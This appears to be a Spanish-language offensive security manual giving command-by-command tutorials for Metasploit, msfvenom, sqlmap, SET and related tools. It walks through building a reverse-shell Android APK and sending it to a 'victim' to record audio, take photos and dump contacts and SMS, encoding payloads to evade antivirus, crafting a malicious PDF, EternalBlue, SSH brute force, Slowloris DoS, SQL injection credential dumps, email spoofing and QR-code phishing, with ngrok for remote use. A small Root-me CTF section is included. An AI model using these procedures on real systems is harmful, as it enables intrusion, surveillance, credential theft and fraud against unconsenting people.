Desactivar las funciones interactivas del usuario:
nikto -h 186.104.43.152 -nointeractive
Nikto Manual: https://cirt.net/nikto2-docs/
METASPLOIT
Metasploit es una suite de pentest que tiene como
objetivo brindar información detallada acerca de
vulnerabilidades del sistema. Permite la ejecución
remota de un sistema a través de un exploit o payload.
Exploit: Es un código o programa malicioso que se aprovecha de un
vulnerabilidad o bug para comprometer la seguridad de un sistema o
aplicación.
Payload: Es un código que se ejecuta después de ejecutar el código de
explotación, permitiendo una conexión entre el atacante y la víctima por
medio de una shell de comandos.
Auxiliary: Realiza diversas tareas, tales como ataques por fuerza
bruta, escaneo de puertos, mitigar amenazas sobre un sistema vulnerable.
Encoder: Permite cifrar nuestros paylaods o exploits, y hacerlos
indetectables contra Firewall y AntiVirus.
Iniciar
msfconsole
Metasploit contiene por defecto:
2045 exploits – 1106 auxiliary – 344 post – 562 paylodas
- 45 encoders – 10 nops – 7 evasion
Entre los exploits:
Entre los payloads:
Entre los auxiliares:
Entre los encoders:
Workspace: permite organizar los datos para trabajar
una nueva prueba de penetración y evitar la acumulación
de pruebas anteriores.
workspace -a "name"
Posición que ocupa actualmente.
Eliminar workspace:
workspace -d "name"
Vulns: permite escanear vulnerabilidades vigentes y
“potencia” de la misma.
search vulns
Filtrar todos los exploits disponibles:
search exploits
Filtrar exploits de una plataforma:
search exploits platform:android
o
search exploits platform:windows
Ejecutar exploit en servidor HTTP(S)
Este método nos ofrece información sobre la versión del
servidor web en diferentes puertos.
Ingresamos a la siguiente ruta en metasploit:
use auxiliary/scanner/http/http_version
Puerto 80 (http):
set RHOST "host"
set RPORT 80
exploit
Tipo de servidor web en que se aloja el
sitio + su versión (Apache/2.2.32),
módulo de apache (mod_ssl) y API para
encriptar datos enviados (OpenSSL)
Puerto 443 (https):
set RPORT 443
exploit
Vulnerar dispositivo Android
Conseguiremos vulnerar un sistema Android y obtener una
sesión meterpreter.
Meterpreter es de gran utilidad ya que nos permitirá
obtener información del objeto comprometido y manipular
procesos del sistema (tomar una foto, descargar
archivos, ver contactos de la tarjeta SIM, ver y editar
carpetas/archivos, cargar el módulo sniffer, etc).
Usaremos el exploit “exploit/multi/handler”:
use exploit/multi/handler
Seguidamente, escogeremos el Payload:
set payload android/meterpreter/reverse_tcp
Asignamos nuestra IP (LHOST) y puerto (LPORT):
set LHOST "IP"
set LPORT 8080
Ahora tenemos que crear la apk maliciosa con msfvenom:
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=8080 R > NOMBRE.apk
A continuación, debemos de subir el apk a un servicio
de alojamiento de archivos (Mediafire, MEGA), en mi
caso lo haré en anonfiles.com:
Copiamos el enlace y se lo enviamos a la víctima para
que lo descargue.
Por último, vamos a la terminal y ejecutamos “exploit”
o “run”, y esperaremos a que instale la aplicación.
Como se observa, la víctima ha instalado el apk
malicioso entregando acceso del móvil por completo.
Sacar una foto “sigilosa”:
webcam.snap -i "opción"
Grabar el micrófono:
record_mic -d "time"
Comprobar si el dispositivo está rooteado:
check_root
Obtener todos los números de sus contactos:
dump_contacts
Enviar un SMS (el teléfono mantendrá una copia
también):
send_sms -d "número" -t "mensaje"
Recuperar un registro de todos los SMS:
dump_sms
Interactuar con una shell:
Desplegar lista de comandos:
help
Evadir Antivirus
Metasploit ofrece una gran variedad de encoders con su
respectiva probabilidad de interrupción.
Encoders: codificadores para evasión de antivirus y
sistemas de seguridad.
Desplegar lista de encoders:
msfvenom -l encoders
Incrustar el codificador en un apk malicioso:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.222.128
LPORT=4444 -e x86/shikata_ga_nai -i 8 -f exe -o /home/whoami/Escritorio/software.exe
“-a” tipo de arquitectura.
“-p” tipo de payload.
“-e” añadir el encoder.
“-i” número de veces que se codifica el
payload.
“-f” formato de salida.
“-o” guardar el payload.
Encoder
Rank
shikata_ga_nai
excellent
Una vez codificado el apk, lo pasamos por
virustotal.com y nos arrojará resultados de posibles
evasiones:
52 de 68 Antivirus marcaron el apk como
malicioso, mientras 16 pasaron por alto
Probemos con otro encoder:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.222.128
LPORT=4444 -e x86/service -i 4 -f exe -o /home/whoami/Escritorio/software.exe
Encoder
service
Rank
manual
Antivirus como Avast, Panda, AV, siendo lo
más conocidos y en mayor de los casos muy
instalados, no lo detecta.
Conclusión: se trata de ir probando codificadores e ir
analizándolo para obtener una mejor probabilidad de
intrusión con la mínima detección posible, lo mismo con
los valores.
CTF – Capture The Flag
Captura la bandera es un juego en donde dos equipos
tienen que resolver desafíos en el menor tiempo posible
y antes que el enemigo, las banderas son llaves “keys”.
Estas competiciones permiten poner a prueba nuestras
habilidades de hacking mediante diferentes retos que
nos propongan. Contiene una variedad de categorías:
Criptografía, Análisis Forense, Esteganografía,
Explotación, Hacking Web, Ingeniería Inversa y mucho
más.
Plataformas para practicar de forma legal:
• https://www.hackthebox.eu/
• https://pentesterlab.com/
• https://www.root-me.org/
• https://www.vulnhub.com/
• https://tryhackme.com/
• https://www.hacker101.com/
ROOT-ME
Root-me cuenta con más de 200 ejercicios y 50 entornos
virtuales, además de ser gratuito, también podemos
seleccionar nuestro idioma.
Realizaré una pequeña prueba, es importante crearse
una cuenta para poder jugar, eligen cualquier sala y
seleccionan el entorno virtual, en mi caso "Basic
Pentesting 1".
Iniciamos el partido, nuestro objetivo se encuentra en
el fichero /passwd para validar la flag. Comenzaremos
con un escaneo básico con nmap a la dirección que nos
proporcionaron: ctf05.root-me.org
nmap -p 21,22,80 -A ctf04.root-me.org
Escanear puertos específicos
Detección de SO y versiones, escaneo de scripts
El puerto 21 tiene el servicio FTP corriendo,
su versión es ProFTPD 1.3.3c
Encontrar el exploit adecuado con Google:
Encontrar el exploit adecuado con Searchsploit:
searchsploit ProFTPD 1.3.3c
Ejecutamos metasploit y buscamos un módulo para
aprovechar dicha vulnerabilidad:
search ProFTPD 1.3.3c
"use 0” para seleccionar el módulo o “use
exploit/ftp/proftpd_133c_backdoor"
A continuación, hay que asignar el RHOST, se obtiene
haciendo ping a la dirección:
set RHOSTS 212.129.29.187
Buscamos el payload correspondiente:
show payloads
Seleccionan el payload:
Recomiendo el reverse_perl o bind_perl
set payload cmd/unix/bind_perl
Por último, añadimos el LHOST y ejecutamos "exploit":
set LHOST 192.168.1.9
Se abrirá una sesión meterpreter y ejecutamos "ls" para
mostrar todos los ficheros:
Fichero objetivo
Con "cat" mostramos el contenido del fichero donde se
guarda la Key:
cat passwd
Key para validar la flag
Password Found!
Crear PDF Malicioso
La explotación por medio de un PDF es uno de los métodos
más recurrido por parte de hackers y crackers, dado que
puede resultar en un ataque exitoso si se acompaña con
ingeniería social. Este tipo de ataque suele ser
ejecutado a empresas como punto blanco para comprometer
los equipos de los empleados; utilizando correos
electrónicos para adjuntar el archivo malicioso,
memorias USB y demás.
Metasploit incorpora de un módulo llamado "Adobe PDF
Embedded EXE", éste es un exploit que va acompañado junto
a un payload para luego ser enviado a la víctima.
Existe una variedad de exploit para incrustar a un PDF,
pero el que usaremos tiene un rango excelente, a
comparación de los otros.
search type:exploit platform:windows adobe pdf
Seleccionan el exploit a usar:
use exploit/windows/fileformat/adobe_pdf_embedded_exe
En la opción de “FILENAME” es el nombre que tendrá
nuestro archivo PDF.
Si desean cambiarlo solo bastaría con ejecutar lo
siguiente:
set FILENAME "nombre.pdf"
Lo mismo sería con el LHOST y LPORT:
set LHOST "IP-Local"
set LPORT "Puerto"
Recuerden que la IP va a depender de su adaptador de
red:
Seguidamente ejecutamos “exploit” para crear el PDF:
El archivo se guardo en la ruta "/root/.msf4/local/" y
debemos moverlo a "/var/www/html" ya que es la carpeta
raíz del servidor web que estaremos corriendo para que
la víctima descargue el archivo (de forma local):
mv /root/.msf4/local/"nombre.pdf" /var/www/html/
En mi caso la máquina que intentaré infectar es Windows
7, así que seleccionaré el payload destinado para él:
set payload windows/meterpreter/reverse_tcp
Aquí también es importante que configuremos la dirección
IP y el Puerto del payload con el que habíamos puesto
anteriormente al crear el PDF:
En una nueva terminal tendremos que encender apache2
para que cualquier dispositivo que este conectado a
nuestra red pueda acceder a nuestra carpeta raíz y
descargar el PDF:
sudo service apache2 start
sudo service apache2 status
Encender
Ver estado
El exploit de "multi/handler" es la pieza fundamental del
procedimiento, se encarga de escuchar las conexiones
entrantes del payload y si tenemos éxito, nos brindará
una shell interactiva:
use exploit/multi/handler
En caso de que los valores se modifiquen, deberán
seleccionar nuevamente el payload ya especificado y
modificar su LHOST:
Ahora es momento de ejecutar "exploit" y esperar
conexiones:
Enlace que se debe enviar a la víctima: http://IP/nombre.pdf
Ej:
http://192.168.1.9/trabajo.pdf
El PDF no tiene contenido pero no importa ya que la
víctima lo tuvo que ejecutar para darse cuenta, a no ser
que quieran mantener acceso y no generar sospechas.
Mientras que por otro lado se abre una sesión
meterpreter y podemos navegar dentro del sistema:
Este ataque también puede ser llevado a cabo fuera de la
red LAN, simplemente reemplazan su IP por el enlace de
Ngrok y el puerto correspondiente.
Cabe recalcar que este exploit solo sirve para sistemas
Windows XP SP3 / Windows Vista / Windows 7. Además de
contar con Adobe Reader en las versiones de 8 y 9 para
efectuar el ataque con éxito.
Explotar vulnerabilidad EternalBlue
EternalBlue es un exploit que fue desarrollado por la
NSA (Agencia de Seguridad Nacional de los EE.UU) y
filtrado por el grupo de hackers Shadow Brokers. Este
exploit se aprovecha de una vulnerabilidad en SMBv1
(Server Message Block versión 1) presente en todos los
sistemas operativos Microsoft Windows entre el 95 y
Windows 10. Está vulnerabilidad es capaz de otorgar el
control completo de la computadora sin requerir
interacción por parte del usuario, lo que lo vuelve más
peligroso. SMB es un protocolo de comunicación que se
utiliza para compartir el acceso a archivos, impresoras,
y otros recursos de redes como enrutadores o interfaces
de red.
Antes de ejecutar el ataque, es de gran utilidad pasar
el Host de la máquina por un escáner y comprobar si la
versión de Windows es vulnerable o no. Para ello,
abrimos una nueva sesión de Metasploit y buscaremos si
existe algún escáner de EternalBlue:
search eternalblue
Luego de identificar y seleccionar el auxiliary,
configuramos el RHOTS (IP de la máquina víctima):
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS "IP"
Finalmente ejecutamos "exploit" y observamos como la
versión de Windows es vulnerable a EternalBlue:
Ahora es momento de elegir el exploit y configurar el
objetivo (target):
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS "IP"
Después asignamos el payload para windows de
arquitectura de 64 bits y configuramos el LHOST con la
IP privada de nuestra máquina:
set payload windows/x64/meterpreter/reverse_tcp
set LHOST "IP"
Posteriormente ejecutamos "exploit" y verán que se abre
una sesión exitosa de meterpreter:
Y es así como se obtiene acceso total al sistema sin
necesidad de que el usuario víctima interactúe.
Fuerza Bruta al protocolo SSH
SSH (Secure Shell) es un protocolo de administración
remote que permite a un cliente y servidor intercambien
información de forma cifrada por medio de técnicas
criptográficas. Además, también gestiona claves RSA para
no tener que escribir contraseñas al conectar los
dispositivos y que los datos pasen por de un canal
seguro mediante el túnel SSH y éste redirige el tráfico.
Para acceder al protocolo SSH es tan simple como saber
el usuario y la contraseña de éste, y desde luego,
conocer la dirección IP del dominio para conectarse
remotamente. En el siguiente ejemplo veremos como
podemos adivinar el usuario y contraseña de SSH con
Metasploit.
Para este caso vamos a utilizar el auxiliary de fuerza
bruta SSH:
use auxiliary/scanner/ssh/ssh_login
Posteriormente, configuramos el RHOSTS (IP víctima) y la
ruta de nuestros diccionarios a adivinar:
set RHOSTS "IP"
set USER_FILE "users.txt"
set PASS_FILE "pass.txt"
Si desean ver que comprobaciones realiza metasploit
sobre los usuarios y contraseñas, entonces activan el
modo verbose:
set verbose true
Por último, ejecutamos "exploit" y vemos con empieza a
probar hasta dar con las credenciales correctas:
Conectarse al SSH:
ssh "USER"@"IP"
En caso de que les de el siguiente error al conectarse:
Deben agregar estas dos últimas líneas al final del
Host:
sudo nano /etc/ssh/ssh_config
Denegación de Servicio - Slowloris
Un ataque de Denegación de Servicio (DoS) consiste en
saturar un servidor o recurso de red a través de envíos
masivos de solicitudes/paquetes hacia el objetivo,
sobrecargándolo con tráfico malintencionado y haciendo
que éste colapse. A diferencia de un ataque de
Denegación de Servicio Distribuido (DDoS) es que éste es
mucho más potente que un DoS, por la razón que ocupa más
recursos y es necesario atacar de varios ordenadores
para efectuar un ataque exitoso, mientras que un DoS se
realiza todas las peticiones desde un solo ordenador. En
la mayoría de los casos se hace uso de una Botnet, un
tipo de malware que infecta varios ordenadores para ser
controlados remotamente por el atacante para realizar
actividades maliciosas (por ejemplo, un DDoS). Si bien
es cierto que para que un ataque DoS sea efectivo es
imprescindible contar con una banda de ancha de internet
considerada, de no ser así, nuestra conexión caerá y el
ataque se detendrá.
Slowloris es un ataque que se concentra en la capa de
aplicación por medio de solicitudes HTTP hacia el
servidor, para que éste mantenga conexiones abiertas
todo el tiempo posible. Este ataque esta diseñado para
derribar un servidor desde una sola máquina.
El script se puede ejecutar desde Metasploit como lo
haré en este caso, pero más adelante les mostraré de
forma manual. Slowloris utiliza el puerto 80 (HTTP) para
realizar las solicitudes, por lo que voy a escanear el
host en busca de una posible vulnerabilidad de Slowloris
DoS con Nmap:
nmap -p 80 --script vuln "IP"
Luego de haber encontrado una posible vulnerabilidad
Slowloris en el host, proseguiré a ejecutar metasploit y
buscar un auxiliary para este ataque:
search dos slowloris
use auxiliary/dos/http/slowloris
Después, configuran el RHOST (IP víctima) y los sockets
(paquetes a enviar):
set RHOST "IP"
set SOCKETS "VALOR"
El "delay" representa la cantidad de tiempo ha enviar los
paquetes:
set delay "SEGUNDOS"
Por último ejecutan "exploit"
y comenzará a generar los
sockets y redireccionarlos al
host.
De forma MANUAL
Para este caso estaré haciendo uso de SearchSploit para
buscar el script de slowloris:
searchsploit dos slowloris
Cada exploit esta enumerado con una cifra y es
irrepetible, en este caso es el "8976". Para descargar el
script, ejecutan el siguiente comando
searchsploit -m 8976
El script está programado en lenguaje Perl. Un ataque de
DoS HTTP básico se realiza de la siguiente forma:
./8976 -dns "TARGET" -port 80 -num 500
Dominio objetivo
Puerto por donde
se enviarán las
peticiones
Cantidad de sockets a enviar
Los servidores de Apache
promedio tienden a caer
entre 400 y 600 sockets
con una configuración
predeterminada.
JOHN THE
RIPPER
John the Ripper es una herramienta para descifrar
contraseñas utilizando la fuerza bruta por parte de
diccionarios, su propósito principal es detectar
contraseñas débiles y tener acceso remoto o local.
Detecta los tipos de hash que contiene e incluye un
cracker personalizado.
A modo de ejemplo creare un usuario y contraseña:
En el archivo shadow encontramos la contraseña con
seguridad (hash).
cd /etc/
nano shadow
Combinar los dos archivos en uno:
unshadow /etc/passwd /etc/shadow > descifrar.txt
Por defecto, john trae un diccionario el cual se puede
modificar:
cd /usr/share/john/
nano password.lst
Descifrar contraseña:
john --format=sha512crypt descifrar.txt
Password
User
Mostrar lista de formatos de cifrado compatibles:
john --list=formats
Recordar la contraseña crackeada:
john --show diccionario.txt
Single crack: realizar un crackeo más rápido.
john --single diccionario.txt
Incremental: prueba todas las posibles combinaciones de
caracteres para dar con la clave, considerado muy
potente.
john --incremental diccionario.txt
Sus modos: all, alpha, alnum, digits, lanman.
Ej:
john --incremental=digits diccionario.txt
john -i=alpha diccionario.txt
Descifrar hash MD4:
john --format=Raw-MD4 --wordlist="wordlist.txt" "hashes.txt"
Nombre del hash a crackear Diccionario Fichero con hashes a descifrar
Descifrar hash RipeMD-128:
john --format=ripemd-128 --wordlist="wordlist.txt" "hashes.txt"
John es capaz de identificar el tipo de hash antes de
descifrarlo y para esto es necesario pasar el fichero
donde tenemos el hash almacenado:
john "hash.txt"
Descifrar hash SHA512:
john --format=Raw-SHA512 --wordlist="wordlist.txt" "hashes.txt"
WIRESHARK
Wireshark es un analizador de paquetes multiplataforma
muy popular entre los administradores de redes.
Funciona como un sniffer, realiza un escaneo en la red
de todo el tráfico generado en un tiempo específico,
tiene la posibilidad de capturar credenciales y
cookies.
Protocolos que lee:
- TCP
- HTTP
- SSL
- DNS
- ARP
- POP
- FTP
Seleccionamos la interfaz disponible a capturar.
Comenzará a capturar los paquetes que viajan en nuestra
red:
Separar paquete por
IP, Protocolo
Cantidad de paquetes capturados
Listado de paquetes capturados en
tiempo real
Estado/panel de vista del
paquete con mayor detalle
Panel de paquetes de bytes
en hexadecimal
Protocolo ICMP: Muestra las conversaciones (peticiones)
entre el ordenador y puerta de enlace.
ping google.com
Protocolo DNS: Ver el comportamiento/consulta.
Capturando credenciales (Protocolo HTTP):
Filtrar una IP:
ping.addr == "IP"
Obtener los GET y POST capturados:
Follow TCP Stream: Extraer toda la secuencia del
paquete completo.
Capturar paquetes TCP sobre el puerto 443:
Filtrar paquetes del protocolo Ethernet:
Dirección MAC
Filtrar por dominio o host:
Excluir protocolos de los paquetes capturados:
Ejemplo
not ssl
not dns
not http
Filtrar comunicación de correos electrónicos:
Protocolo
Mostrar el tráfico:
Filtrar el tráfico entre dos servidores:
IP 1 IP 2
Filtrar paquetes enviados por un dispositivo:
Wireshark: https://wireshark.org/
PROXYCHAINS
ProxyChains es una herramienta de código abierto que
proporciona anonimato y seguridad. Redirige las
conexiones TCP a través de proxys como SOCKS4, SOCKS5,
TOR, HTTP(S), permitiendo ocultar nuestra verdadera
dirección IP del tráfico, evadir IDS y firewalls.
Instalación y uso:
Primeramente, instalamos tor desde la terminal:
sudo apt-get install tor
Iniciar tor:
sudo service tor start
Comprobar si ha iniciado:
sudo service tor status
Seguidamente, modificamos el archivo de proxychains:
sudo nano /etc/proxychains.conf
Realizar los siguientes cambios:
- Desmarcar (#) la línea dynamic_chain
- Comentar (#) la línea strict_chain
- Agregar al final socks5 127.0.0.1 9050
CTRL + O para guardar
CTRL + X para salir
Ejecutar proxychains:
proxychains "herramienta"
Ej:
proxychains firefox
SQLMAP
SQLMap es una herramienta automática para realizar
pruebas de penetración (SQL Injection) en base de
datos.
SQL Injection:
Es uno de los ataques más utilizados contra base
de datos, el ataque tiene como objetivo recopilar
información sensible, como usuarios, contraseñas,
correos electrónicos, códigos de verificación,
números de tarjetas de crédito y demás.
Dorks:
Es una técnica utilizada en el campo hacking
para la búsqueda avanzada de Google. Suele
usarse para la obtención de información,
mejores resultados de búsqueda, encontrar
cámaras de seguridad, documentos, inyección
SQL y XSS.
Lista de Dorks:
details.php?prodId=
product/product.php?product_no=
book.php?ID=
print.php?id=
allinurl: /news.php?id=
content.php?PID=
view_items.php?id=
main.php?id=
product_details.php?prodid=
products.php?p=
news.php?id=
abroad/page.php?cid=
inurl:pages.php?id=
inurl:product.php?id=
item.php?eid=
Lista completa: https://github.com/R3LI4NT/dorks-sql-injection
Comandos básicos:
-u URL víctima.
-p Parámetro de la URL.
--dbs Muestra las bases de datos.
-D Especificar base de datos a explotar.
-T Especificar la tabla.
--tables Muestra todas las tablas de la base de datos especificada.
--columns Muestra las columnas de la tabla seleccionada.
--dump Vuelca toda la información de la tabla.
Lanzar el ataque para afirmar si el sitio es
vulnerable:
sqlmap -u "URL"
Ej:
sqlmap -u http://www.site-web.com/article.php?id=55
El parámetro "cat" es vulnerable a inyección SQL, incluso a una
carga de un Payload
Listar las bases de datos:
sqlmap -u "URL" --dbs
Escanear las tablas de la base de datos que elijamos:
sqlmap -u "URL" -D acuart --tables
Escanear columnas de la tabla “users”:
sqlmap -u "URL" -D acuart -T users --columns
Extraer el contenido de la columna:
sqlmap -u "URL" -D acuart -T users -C email,pass,name --dump
Web de ejemplo: http://testphp.vulnweb.com/listproducts.php?cat=1
SETOOLKIT
Setoolkit (Social Engineer Toolkit) mas conocido como
SET, es un conjunto de herramientas especializadas en
realizar ataques de ingeniería social, esta programado
en Python.
Permite suplantar fácilmente la identidad de un sitio
web, enviar ataques masivos por mail a cuentas de
correos electrónicos de una compañía o a un usuario en
específico, también incorpora ataques con el framework
de Metasploit para pentesting.
Ejecutar SET con "setoolkit"
La opción 1 corresponde a los ataques de ingeniería
social nombrados anteriormente, la opción 2 contiene
vectores de ataques con una serie de exploits y
automatización para pruebas de penetración.
EMAIL SPOOFING
La suplantación de correo electrónico es una técnica
utilizada en ataques de spam y phishing para engañar a
los usuarios haciéndoles pensar que un mensaje proviene
de una persona o empresa en cual pueden confiar. El
atacante falsifica los encabezados de correo
electrónico para que el software del cliente muestre la
dirección del remitente fraudulenta, así que harán clic
en enlaces maliciosos, abrirán archivos adjuntos de
malware, incluso enviarán datos confidenciales.
Crear un Email Spoofing
Iniciamos el SET y seleccionamos la opción 1:
Seguidamente, escogemos la opción 5:
La opción 1 permite enviar el correo electrónico a un
solo usuario, mientras la 2 a varias direcciones:
Añadimos el email de la víctima:
Tenemos la posibilidad de mandar el email desde un
correo falso creado por nosotros o utilizar nuestro
propio servidor SMTP. Sugiero hacerlo desde un SMTP,
por la única razón que pueden sustituir la dirección de
correo por cualquier otro. Por ejemplo, soporte@facebok,
lo importante es que se vea creíble.
En mi caso lo haré con un correo falso creado por mi,
por lo cual nos pedirá nuestro email:
Server SMTP
Normal
En FROM NAME agregamos un nombre a la dirección, luego
introducimos la contraseña de nuestro email:
Es importante marcar el mensaje como “flag”, esto
simula que es de alta prioridad, después hecho lo
anterior, si deseamos agregar un archivo en particular
(imagen, video) debemos insertar la ruta donde se
encuentra. Por último, ofrece adjuntar un archivo en
línea, cuando haga clic se traslade a un servidor, por
ejemplo, de exploits:
Añadimos el asunto del email. El mensaje puede ser
enviado en código HTML o texto plano, el HTML es
sospechoso así que no lo recomiendo en este caso. Para
finalizar, introducimos el cuerpo del mensaje, con
ENTER damos saltos de línea, al terminar agregamos
“END”:
Correo enviado con éxito:
El lado de la víctima:
El lado del atacante:
Datos a tener en cuenta
• No se olviden de cambiar la foto de perfil.
• Revisar la ortografía.
• Adjuntar imágenes en caso de ser necesario y creíble.
• Recabar información sensible de la persona, empresa u
organización para asegurar confianza.
QR CODE ATTACK (Phishing)
En la actualidad los códigos QR están en todas partes,
en productos, colegios, en los anuncios de la calle, el
objetivo de estos códigos es ser utilizado con fines de
marketing o para obtener más información acerca de un
servicio o producto. Sin embargo, el uso amplio de
códigos QR puede ser una ventaja para los
ciberdelincuentes y los probadores de penetración
ética. Los ciberdelincuentes aprovechan esta técnica
para atacar usuarios desinformados, con el propósito de
robar sus credenciales, mientras que en pentesting
pueden incluir este tipo de ataques en sus compromisos
de ingeniería social.
Creando un código QR malicioso
Iniciamos el SET y seleccionamos la opción 1:
Luego, la opción 2:
Continuamos con la opción 3:
Permite escoger una plantilla web personalizada o
añadir la nuestra. A modo de ejemplo, optaré por una ya
creada:
Seguidamente, insertamos nuestra IP local:
Seleccionamos la web a suplantar:
Importante no cerrar esta terminal
Por último, abrimos una nueva terminal y ejecutamos
nuevamente el SET (opción 1):
Esta vez vamos a generar el código QR, por ello,
elegimos la opción 8:
Ingresamos la URL donde irá el código QR, pondré la IP
local + el puerto 80:
Código QR generado:
Mover el código al escritorio:
cp /root/.set/reports/qrcode_attack.png /ruta/ruta
Quedaría de la siguiente manera:
Lo escaneamos con nuestro teléfono:
Cuando la víctima ingrese los
datos nos llegará a la primera
terminal:
IMPORTANTE
Muchas personas escanean un código QR desconocido con sus
teléfonos móviles personales solo porque quieren saber más
acerca del producto. En muchos casos los usuarios
malintencionados están utilizando este ataque para enviar
malware y robar credenciales a los usuarios desprevenidos.
Si no estás seguro de escanear el código QR le aconsejo de
no hacerlo, de lo contrario, tome las mejores precauciones
posibles.
Fuera de la red LAN
El ataque anterior solo funciona dentro de la misma
red, lo cuál no es conveniente si se quiere hacer a
distancia. Haremos uso de ngrok.
¿Qué es NGROK?
Ngrok es un servicio que le permite convertir su servidor local en
un servidor accesible a un subdominio generado aleatoriamente, y así
poder visualizarlo desde cualquier dispositivo en cualquier parte
del mundo.
Descarga e instalación de NGROK
Es obligatorio crearse una cuenta antes de la descarga:
Copiamos el authtoken:
Web oficial: https://ngrok.com
Abrimos una nueva terminal, descomprimimos el zip y
copiamos el athtoken:
En una nueva terminal ejecutamos ngrok con el servicio
http y el puerto 80:
./ngrok http 80
No cerrar esta terminal
Sigan los pasos anteriores, solo que ahora deben
reemplazar la IP local por la dirección de ngrok:
Mismo resultado
NETDISCOVER
Netdiscover es una herramienta para sondear la red
inalámbrica, identificar a todos los dispositivos
conectados y recopilar información del mismo. Detecta
pasivamente hosts en línea o buscarlos enviando
solicitudes ARP. Además, se puede colocar en modo
“sniffer” para inspeccionar el tráfico ARP de la red.
Protocolo ARP
El protocolo ARP sirve para mapear direcciones IP/MAC, es decir
que permite desde un dispositivo conectado a la red LAN obtener
información de otro dispositivo conectado a la misma red. Una
solicitud ARP es un broadcast (paquete de datos) que se
transmite a todos los dispositivos de la LAN. La solicitud ARP
contiene la dirección IP del host destino y la dirección MAC
del broadcast, los nodos de la LAN reciben y examinan la
información, el nodo cuya IP coincide con la IP de la solicitud
responde, esta respuesta se utiliza para crear una nueva
entrada en la tabla ARP del nodo de envío, de manera que se
muestran las direcciones organizadas de cada dispositivo según
su IP y MAC.
Poniendo a prueba NetDiscover
Identificar interfaces:
ifconfig -a
Capturar dispositivos conectados a nuestra red:
netdiscover -i wlan0 -r 192.168.1.1/24
Interfaz de red
Escaneo para un rango de IP
Escanear una lista de rangos de un documento:
netdiscover -i wlan0 -l /dic1/dic2/archivo/
COMANDOS DE USO
-i: Interfaz de red.
-r: Escanea un rango de IP.
-l: Escanea una lista de rangos contenidos en un archivo.
-p: Modo pasivo, solo olfatea “sniffing”.
-m: Escanea una lista de nombres hosts y MAC conocidos.
-F: Personalizar la expresión del filtro.
-s: Definir el tiempo de cada solicitud ARP.
-c: Número de veces para enviar cada solicitud ARP.
-n: Último octeto de IP de origen utilizado para escanear.
-d: Ignorar archivos de configuración de inicio para un escaneo
automático y rápido.
-f: Habilitar el modo rápido, ahorra tiempo.
-P: Imprimir los resultados en un formato específico para ser leído en
otro programa.
-L: Similar a “-P” pero continúe escuchando después de que se complete
el escaneo activo.
-N: No imprima el encabezado, solo válido cuando –P o –L está
habilitado.
-S: Habilitar la supresión del tiempo de reposo entre cada solicitud
(modo hardcore).
ANONSURF
Anonsurf es una herramienta popular creada únicamente
para la distribución Parrot OS. Cuenta con un
repositorio especial para Kali Linux, utiliza la red
TOR para ocultar la dirección IP real y añade una capa
de cifrado en nuestro tráfico de red.
Instalación y uso:
Clonar el repositorio de github:
git clone https://github.com/Und3rf10w/kali-anonsurf
Luego nos situamos en dicho repositorio:
cd kali-anonsurf
Y proseguimos con su instalación:
./installer.sh o bash installer.sh
Para usar anonsurf se puede utilizar los siguientes
comandos:
anonsurf start
Iniciar la herramienta.
Al momento de comprobar nuestra IP en un IPLocator
online saldrá lo siguiente:
Detener anonsurf:
anonsurf stop
Cambiar de dirección IP:
anonsurf change
Ver IP actual
Comprobar si anonsurf está funcionando correctamente:
anonsurf status
Acerca de otras opciones:
TORGHOST
TorGhost es un script de anonimización, redirige todo
el tráfico de Internet a través del proxy SOCKS5 tor.
Las solicitudes de DNS también se redirigen a través de
tor, evitando así DNSLeak. Deshabilita los paquetes
inseguros que salen del sistema, algunos paquetes como
la solicitud de ping pueden comprometer la identidad, y
por ende, este script se encarga automáticamente de no
filtrar ningún ping.
La filtración DNS puede resultar relativamente grave ya
que las fugas permite que nuestro proveedor de internet
(ISP) pueda rastrear nuestros datos de navegación como
que páginas visitamos, nuestra ubicación mediante la
IP, entre otras.
Instalación y uso:
TorGhost es caracterizado por ser un script fácil de
instalar. Primeramente, clonamos el repositorio con el
siguiente comando:
git clone https://github.com/SusmithKrishnan/torghost
Entramos en el directorio y le concedemos permisos:
cd torghost && chmod +x build.sh
Seguidamente, continuamos con su instalación:
./build.sh
bash build.sh
En caso de que el primero no funcione
Volvemos a darle permisos pero esta vez al archivo
python:
chmod +x torghost.py
Por último, ejecutamos el script:
python3 torghost.py
-s Iniciar Torghost
-r Solicitar un nuevo nodo de salida
-x Detener Torghost
-h Buscar ayuda
-u Buscar actualizaciones
Poner en marcha torghost:
python3 torghost.py -s
Verificamos nuestra IP:
curl ifconfig.me
Cambiar a otra dirección IP:
python3 torghost.py -r
Detener Torghost y reestablecer la IP:
python3 torghost.py -x
MACCHANGER
Macchanger es una herramienta que como su nombre lo
indica, sirve para cambiar/manipular direcciones MAC de
cada interfaz de red.
Instalación y uso:
Está herramienta viene preinstalada en Kali Linux y
soporta otras distribuciones, pero si deseamos
instalarla solo hace falta ejecutar el siguiente
comando en la terminal:
sudo apt-get install macchanger
Para conocer nuestra interfaz de red es necesario abrir
la terminal e introducir:
iwconfig
Lo siguiente es conocer nuestra MAC original:
macchganger -s wlan0
Imprimir la dirección MAC
Interfaz
Antes de cambiar la dirección MAC de un dispositivo es
necesario desactivar la interfaz de red:
sudo ifconfig wlan0 down
Luego de reconocer nuestra MAC e interfaz solo queda
por cambiar la MAC por una falsa:
macchanger -m 00:01:02:03:04:05 wlan0
Si quisiéramos cambiarla por una dirección aleatoria:
macchanger wlan0 -r
Por último, solo quedaría activar nuevamente la
interfaz de red:
sudo ifconfig wlan0 up
Si volvemos a chequear nuestra dirección MAC:
Restablecer la dirección MAC a la original:
macchanger -p wlan0
Macchanger incorpora de una lista con la mayor cantidad
de direcciones MAC´s existentes, y lo mejor, se puede
hacer uso de ella para falsificar nuestro dispositivo
en la red por otro.
macchanger -l
En caso de buscar una dirección en específico, deben de
acompañar el comando con el carácter de pleca “|” +
“grep” y la palabra clave. Ejemplo:
macchanger -l | grep "Samsung"
A modo de ejemplo, utilizaré la MAC de la NSA (Agencia
de Seguridad Nacional de los EE.UU.):
Luego de haber identificado la MAC a suplantar, solo
quedaría por sustituirla con el siguiente comando:
macchanger --mac="MAC" "interfaz"
Los primeros tres conjuntos de dos dígitos es donde
tendrán que colocar la dirección MAC del dispositivo
